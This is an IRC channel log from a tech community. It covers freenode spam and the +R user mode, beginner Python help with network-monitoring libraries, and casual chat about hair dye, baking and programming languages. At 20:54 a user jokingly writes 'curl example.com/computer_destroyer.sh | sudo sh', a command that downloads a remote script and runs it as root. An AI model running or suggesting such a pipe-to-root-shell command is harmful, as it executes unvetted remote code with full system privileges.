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| 06:41.57 | romanovic | anyone else get blasted with hacky spam messages a few hours ago? |
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| 11:28.17 | klys | ~slashdot |
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| 15:02.19 | programmerq | romanovic⸠yup. welcome to freenode. |
| 15:07.30 | straya | romanovic: add mode +R to your account |
| 15:07.40 | straya | you'll find it cuts down on the spam dramatically |
| 15:09.16 | unum | $20 brownies probably would have sold better on the 20th. Let the buyer make assumptions |
| 15:09.48 | unum | of course with the 20th and earth day being so close together your probably could have made a weekend out of it |
| 15:11.02 | straya | hehe |
| 15:19.52 | gtmanfred | Good morning! |
| 15:27.50 | gtmanfred | time to get dirty with automating BigIP F5s |
| 15:28.15 | romanovic | programmerq: Spammy DMs are normal; but receiving 20 from 20 different nicks in the space of an hour or so with the same script attack, that has never happened to me before |
| 15:29.33 | programmerq | romanovic⸠unfortunately, that's relatively normal. I'm in a rather large number of channels, so it probably happens to me more than the average freenode user. |
| 15:30.32 | gtmanfred | well |
| 15:30.44 | gtmanfred | get op in #systemd and #archlinux |
| 15:30.49 | gtmanfred | and it will happen at least once a week |
| 16:23.53 | programmerq | I've got op in a channel that hovers at around 1k joined users |
| 16:39.33 | frostyfrog | Morning |
| 16:40.35 | frostyfrog | Gotta love script kiddies >_> |
| 16:41.51 | programmerq | it helps if you set yourself to +R |
| 16:41.58 | programmerq | I guess my client isn't set to do it automatically |
| 16:42.29 | programmerq | https://freenode.net/kb/answer/usermodes |
| 16:42.33 | programmerq | there's also +g |
| 16:44.09 | eightyeight | +R ftw |
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| 18:13.32 | unum | I had noticed sites like this one before, but never one that was so obvious |
| 18:13.35 | unum | http://observis.org/yum-duplicate-error.html |
| 18:13.59 | unum | I tried changing the name of the html file to see if it would just change the error message, but it redircts me to the home page |
| 18:29.00 | manithree | checks to make sure he has 256 MB of RAM and Windows 7 so he can fix that yum error |
| 18:29.42 | manithree | It looks like "yum duplicate error" is the only substitution. Good thing they have that nav bar where every link goes to the same page. |
| 18:35.27 | aeryndunham | hey, afternoon all |
| 18:54.56 | frostyfrog | Hello aeryndunham :) |
| 18:55.57 | aeryndunham | oh I should be working |
| 18:56.00 | aeryndunham | and yet |
| 18:56.12 | frostyfrog | you got a job? :o |
| 18:56.27 | aeryndunham | no |
| 18:56.34 | frostyfrog | Aww :( |
| 18:56.36 | aeryndunham | just that web app I was trying to write for my friend |
| 18:56.54 | aeryndunham | and by "writing web app" I'm still just going through a tutorial |
| 18:56.55 | frostyfrog | Ah, cool :) |
| 18:58.46 | frostyfrog | How's that going? |
| 18:59.05 | aeryndunham | not very well |
| 19:00.04 | frostyfrog | What do you have so far? |
| 19:01.42 | frostyfrog | A tent without a canvas? Some spikes to nail the tent down? Some tee while you wait for the tent building instructions to magically appear? |
| 19:01.44 | frostyfrog | :p |
| 19:02.50 | aeryndunham | haha no I have nothing, I'm just following a tutorial for a web framework hoping by the end I will understand |
| 19:03.19 | frostyfrog | ... |
| 19:03.31 | frostyfrog | Start putting sticks together and make a tent! |
| 19:04.49 | frostyfrog | It's hard to learn how to setup a tent if you read the instructions from front to back without starting at "step 1", doing step 1, then moving onto step 2. |
| 19:05.12 | frostyfrog | hopes that their analogy makes sense. |
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| 19:06.19 | aeryndunham | changed computers so she can at least ATTEMPT to work |
| 19:24.02 | jlp_znc | youtah: dude, what's up with utmesh.com? |
| 19:33.45 | jlp_znc | or not so up with it |
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| 19:39.48 | aeryndunham | I dyed my hair and I'm not sure how I feel about it |
| 19:49.44 | jlp_znc | what color did you go with, aeryndunham? hot pink? :-) |
| 19:50.30 | aeryndunham | haha i wish |
| 19:50.36 | aeryndunham | no, I just picked a red at the store |
| 19:50.41 | aeryndunham | I usually go to a salon |
| 19:51.01 | jlp_znc | ahh, you don't like it? |
| 19:51.21 | jlp_znc | has absolutely zero experience with hair dyes |
| 19:51.21 | aeryndunham | not sure yet |
| 19:51.41 | aeryndunham | So when I go to a salon it's all highlighted and stuff |
| 19:51.47 | aeryndunham | I can't do that on my own |
| 19:52.37 | jlp_znc | I see. |
| 19:55.43 | jlp_znc | I'm moving towards the "distinguished grey" look, myself |
| 19:55.51 | jlp_znc | according to my wife, at least. |
| 19:56.31 | aeryndunham | My hair has been gray since I was 18, so I've been dying it for a long time |
| 19:57.53 | jlp_znc | I'm sure the red looks nice. |
| 19:59.35 | aeryndunham | thanks :) |
| 20:02.02 | aeryndunham | gah python |
| 20:07.20 | spangborn | Must be nice having hair |
| 20:07.49 | aeryndunham | yeah but it's fully acceptable for guys to either have gray hair or no hair |
| 20:07.51 | aeryndunham | not so much for girls |
| 20:08.02 | aeryndunham | (are there any other girls in this channel, I wonder??) |
| 20:15.01 | TodPunk | There are, they don't talk much though |
| 20:16.05 | TodPunk | Though I tend to live by the "There are no girls on the internet" rule, but more politely than the originators of the rule intended. |
| 20:16.36 | jlp_znc | haven't seen maquis in a while |
| 20:16.51 | TodPunk | Not since she moved her BNC off her server |
| 20:16.54 | jlp_znc | she goes through phases |
| 20:17.30 | jlp_znc | she changed her title on LinkedIn to "Mommy", for example. |
| 20:18.33 | aeryndunham | has anyone ever used the python library netaddr? I can't decide if I'm an idiot or if it just doesn't work |
| 20:18.54 | gtmanfred | i have |
| 20:19.06 | gtmanfred | i forget why |
| 20:19.20 | gtmanfred | what are you trying to do with it? |
| 20:21.09 | aeryndunham | oh I'm trying to write a monitoring/troubleshooting tool for some cruise ship internet cafe managers, something that can ping either URLs or IP addresses and tell you if they are reachable, run a traceroute, nslookup, etc. What she *wants* is all this in a nice web interface that can also generate reports to send to higher ups. She can't get anyone officially to write this at work, so my boyfriend volunteered |
| 20:21.10 | aeryndunham | me to try. I CANNOT. |
| 20:22.07 | gtmanfred | ok, but what are you trying to do with netaddr? |
| 20:22.10 | jlp_znc | what's not working? |
| 20:23.22 | aeryndunham | OH, I'm just getting started, really, just trying to find libraries that can help me do what I want |
| 20:24.01 | aeryndunham | I got one workig that would tell me a site was OK, but only worked for URLs, not IP addresses, and if it *wasn't* ok I just got error messages from Python, not a "site is not OK" |
| 20:24.07 | aeryndunham | which I'm sure I can fix |
| 20:24.12 | jlp_znc | here's something that you might find useful: https://dnaeon.github.io/traceroute-in-python/ |
| 20:24.29 | aeryndunham | but netaddr looks like it'll let me query an IP, but I'm trying to just run through their tutorial and nothing works |
| 20:24.37 | jlp_znc | you probably need a try: except: block to trap the errors |
| 20:24.37 | aeryndunham | https://netaddr.readthedocs.io/en/latest/tutorial_01.html |
| 20:24.45 | aeryndunham | yeah |
| 20:24.55 | gtmanfred | netaddr is really for giving you information about ip addresses. |
| 20:25.12 | aeryndunham | jlp_znc: Thanks! |
| 20:25.12 | jlp_znc | yeah, probably not something you need. |
| 20:25.16 | aeryndunham | hmm |
| 20:25.22 | jlp_znc | (netaddr, I mean) |
| 20:25.28 | aeryndunham | requests is what I was using for URLs |
| 20:25.40 | gtmanfred | that is fine for urls |
| 20:25.42 | aeryndunham | maybe it can do IPs as well? |
| 20:25.46 | jlp_znc | sure, that's a http library... good for that sort of thing |
| 20:25.51 | gtmanfred | yeah you can do it if you put it in an http:// link |
| 20:25.56 | aeryndunham | ahhhh |
| 20:26.00 | gtmanfred | if you just want to check if you can connect to a port or connect to an ip |
| 20:26.01 | jlp_znc | what do you want to do with an IP? just resolve it? ping it? |
| 20:26.08 | gtmanfred | use the stdlib socket library |
| 20:26.08 | gtmanfred | https://docs.python.org/2/library/socket.html |
| 20:26.15 | aeryndunham | Ideally, ping it and come back with if you CAN and how long it took |
| 20:26.17 | jlp_znc | I was just going to say that :-) |
| 20:26.20 | gtmanfred | https://docs.python.org/3.6/library/socket.html |
| 20:26.39 | aeryndunham | Thanks! |
| 20:26.43 | aeryndunham | yeah, using 3 |
| 20:26.51 | gtmanfred | good |
| 20:27.04 | aeryndunham | the whole thing sounds like it shouldn't be too hard but I'm a complete programming idiot |
| 20:27.48 | jlp_znc | https://pypi.python.org/pypi/pyping/ |
| 20:30.05 | aeryndunham | thanks! |
| 20:31.49 | aeryndunham | i'm hoping I can get it |
| 20:34.23 | jlp_znc | you might want to look at a resolver library, too (to change hostnames into IP addresses) |
| 20:35.30 | jlp_znc | http://stackoverflow.com/questions/2805231/how-can-i-do-dns-lookups-in-python-including-referring-to-etc-hosts |
| 20:35.41 | jlp_znc | (stack overflow is great for stuff like this) |
| 20:36.16 | aeryndunham | I honestly don't understand how anyone learned to program before there was stackoverflow. Actually had to think for themselves, I suppose. |
| 20:36.26 | jlp_znc | oh, we managed |
| 20:36.40 | jlp_znc | we had usenet back in the day, too |
| 20:36.54 | jlp_znc | comp.sources.unix was a godsend for learning how to program |
| 20:37.20 | aeryndunham | I do very much appreciate how it seems like there is a Python library for EVERYTHING |
| 20:40.48 | jlp_znc | sometimes there are multiple incompatible libraries! |
| 20:42.23 | aeryndunham | ugh I can't even get libraries to work and this part should be easy |
| 20:42.32 | aeryndunham | I might be close to calling it for the day |
| 20:47.16 | jlp_znc | do what I do, take a nap. everything looks better after a nap. |
| 20:47.32 | aeryndunham | something is wrong with my python install, or pip or something |
| 20:47.49 | romanovic | aeryndunham: how so? import error? |
| 20:48.02 | jlp_znc | read up on virtualenv. |
| 20:48.18 | aeryndunham | No, I mean it looks like stuff is installing via pip but I'm getting an error message about how a certain directory is not owned by the current user, but it is |
| 20:48.28 | aeryndunham | I've used virtualenv but I always forget |
| 20:49.04 | romanovic | are you running your script directly? or is this part of a web app or something? |
| 20:49.15 | aeryndunham | right now I'm just running script directly |
| 20:53.21 | jlp_znc | if you're trying to use that pyping package, you have to be root to get the raw socket it requires |
| 20:53.39 | frostyfrog | o.o |
| 20:53.46 | frostyfrog | utahmesh looks up to me |
| 20:53.56 | jlp_znc | yeah, running scripts as root is kind of a non-starter |
| 20:54.16 | jlp_znc | www.utmesh.com? |
| 20:54.17 | aeryndunham | I will deal with this more tomorroq |
| 20:54.29 | aeryndunham | I am going to make some brownies and then play WoW :p |
| 20:54.33 | frostyfrog | curl example.com/computer_destroyer.sh | sudo sh |
| 20:54.34 | frostyfrog | :p |
| 20:54.53 | frostyfrog | um, utahmesh.com |
| 20:54.58 | frostyfrog | oh... |
| 20:55.41 | jlp_znc | utahmesh.com just redirects me to the google map |
| 20:56.50 | jlp_znc | 1198 bash$ host -t ns utmesh.com b.gtld-servers.net says "utmesh.com has no NS record" |
| 20:56.57 | jlp_znc | makes it kind of tough to resolve |
| 20:57.12 | jlp_znc | gotta go to a meeting. |
| 21:07.36 | frostyfrog | xD |
| 21:07.43 | frostyfrog | Name Server: DNS1.UTMESH.COM |
| 21:19.57 | frostyfrog | I tried letting someone who should have access know, jlp_znc |
| 21:20.18 | aeryndunham | brownies are in the over \o/ |
| 21:20.27 | aeryndunham | s/over/oven/ |
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| 21:20.48 | frostyfrog | ... |
| 21:21.04 | frostyfrog | would ask to come over, but that's an expensive set of brownies. |
| 21:21.08 | aeryndunham | haha |
| 21:21.38 | aeryndunham | I'm making cookies this weekend, too |
| 21:22.06 | aeryndunham | will provide copious baked goods to anyone who visits her in Florida :p (although I do realize that there is literally no good reason to come to the wasteland of south florida) |
| 21:22.54 | frostyfrog | fort meyers beach :p |
| 21:22.57 | frostyfrog | .... |
| 21:23.01 | frostyfrog | somethingf like that |
| 21:23.16 | frostyfrog | south florida is actually kinda cool. Especially the keys. |
| 21:23.38 | unum | life in pieces is now on netflix |
| 21:24.02 | aeryndunham | the keys are cool |
| 21:24.06 | frostyfrog | aeryndunham: $483 >_> Yeah, spendy brownies and cookies. |
| 21:24.15 | aeryndunham | Suburban Miami, not so much |
| 21:24.16 | aeryndunham | haha |
| 21:25.07 | gtmanfred | i love when my integration tests work on the first try |
| 21:25.34 | frostyfrog | Meh. |
| 21:25.52 | frostyfrog | I like it more when my code works first try after a whole day of hacking away. |
| 21:26.10 | frostyfrog | "tests? What tests?" |
| 21:26.13 | gtmanfred | that is also nice |
| 21:26.14 | gtmanfred | heh |
| 21:26.51 | frostyfrog | I'd write unit tests... if I wasn't doing them in python against pylons and basically the full stack. ;-; |
| 21:27.17 | frostyfrog | golang? I'm all for it's unit testy ness |
| 21:28.37 | aeryndunham | I don't know if I actually LIKE python, it's just the only thing I have any experience in |
| 21:29.20 | frostyfrog | doesn't and would rather recommend Ruby over Python any day. |
| 21:29.47 | frostyfrog | Something about whitespaces having incluence over the logic. |
| 21:30.04 | frostyfrog | s/incluence/influence/ |
| 21:30.28 | spangborn | Everyone loves Python |
| 21:30.35 | spangborn | ð |
| 21:31.01 | frostyfrog | Sarcastically? Yup :p |
| 21:31.03 | TodPunk | Do. Not. Use. Ruby. If you want a hobby language, fine, though that list is longer than most. If you want employability, Ruby market is shrinking, is basically Rails only, and is saturated with bootcampers. |
| 21:31.21 | TodPunk | That's not even an advocation for Python |
| 21:32.25 | frostyfrog | TodPunk: Related to that, I find it sad that if I mention writing a website with Ruby, they instantly think of Rails. |
| 21:32.45 | spangborn | JavaScript is best script |
| 21:32.57 | frostyfrog | And I'm all, RUBY =/= RUBY ON RAILS |
| 21:33.15 | TodPunk | Sinatra exists, but again, why? If you want just a thing to write in, you could use ANYTHING that makes you happy. If you are using it for a skill that makes you employable, there /is/ only Rails |
| 21:33.59 | frostyfrog | spangborn: I'm not so sure some python guys (syntax wise) agree with that. :p |
| 21:34.26 | spangborn | Express is best |
| 21:34.36 | spangborn | I'm just trolling now, honestly |
| 21:34.54 | frostyfrog | xD |
| 21:35.02 | frostyfrog | http://coffeescript.org/ is what I was thinking of :p |
| 21:39.01 | unum | long live php!!!! |
| 21:39.11 | frostyfrog | YUSH! XD |
| 21:39.52 | frostyfrog | My english teacher wasn't happy with me during highschool >_> |
| 21:40.06 | unum | long live protoss!!! |
| 21:40.25 | frostyfrog | Something about "PHP in a Nutshell" not being a good book to read for english >_> |
| 21:41.27 | aeryndunham | hah |
| 21:41.47 | aeryndunham | I remember leaving my high school C++ final in tears |
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| 21:42.44 | aeryndunham | ok, changing computers again, cannot pretend I'm going to do any more work today |
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| 21:57.54 | aeryndunham | Some of you might appreciate this: |
| 21:57.57 | aeryndunham | https://jackimurphy.com/actual-things-said-in-my-internet-cafe/ |
| 21:59.37 | frostyfrog | textses? xD |
| 22:00.00 | frostyfrog | jlp_znc: utmesh.com is currently going through a host transistion. |
| 22:00.07 | aeryndunham | frostyfrog, lots of older people said that |
| 22:00.21 | aeryndunham | like 'texts' wasn't a word they knew, they pluralized by adding "ses" |
| 22:01.30 | frostyfrog | Those poor, poor, lost souls ;-; |
| 22:01.42 | jlp_znc | ahh, I see. :-) |
| 22:01.43 | frostyfrog | Thank you for sharing :D |
| 22:02.09 | aeryndunham | ooh my <li> font size is off |
| 22:03.17 | jlp_znc | those are delightful |
| 22:03.20 | frostyfrog | Sssshhhhhhh |
| 22:03.29 | aeryndunham | it was a fun trip through my Twitter timeline to find them all |
| 22:03.35 | frostyfrog | Don't tell aeryndunham that, or she'll go try to fix it. ;p |
| 22:03.55 | aeryndunham | There are actually a few CSS things that need fixing |
| 22:04.18 | frostyfrog | details, details. |
| 22:04.26 | frostyfrog | At least it doesn't look bad. |
| 22:04.55 | aeryndunham | No, the site looks fine, but CSS is one thing I actually have a grasp on so I shouldn't leave stuff that needs fixing |
| 22:05.38 | frostyfrog | Oh my. I almost rickrolled my self unintentionally... |
| 22:05.46 | aeryndunham | wants to travel back in time to the days where the web WAS just html/css |
| 22:06.06 | frostyfrog | aeryndunham: In some cases, it is. |
| 22:06.21 | frostyfrog | https://jekyllrb.com/ |
| 22:06.37 | frostyfrog | granted, it's automated now, but still. |
| 22:06.47 | aeryndunham | I tried to use one of those static site generators, didn't like it |
| 22:06.52 | aeryndunham | I tried Jekyll and Hugo, I think |
| 22:07.27 | frostyfrog | I liked Hugo more than Jekyll. |
| 22:08.00 | jlp_znc | I especially liked " I don't have a password, I'm from Canada." |
| 22:08.32 | aeryndunham | I remember being particularly perplexed by that one |
| 22:08.41 | jlp_znc | I think you mentioned it here before. |
| 22:08.48 | aeryndunham | probably |
| 22:08.58 | aeryndunham | I usually had my laptop with me at work so was on IRC all the time |
| 22:09.40 | frostyfrog | thought it was awesome that you hung out with us. |
| 22:09.43 | frostyfrog | still does. |
| 22:12.02 | aeryndunham | enjoys hanging out here! |
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| 22:22.16 | frostyfrog | \o/ Yay! :D |
| 22:51.39 | frostyfrog | finished reading https://medium.com/@jackimurphy/on-the-occasion-of-having-been-at-sea-for-five-years-5b46ad829318 |
| 22:52.00 | frostyfrog | Well, didn't you finish your last contract on a ship, finally? ;) |
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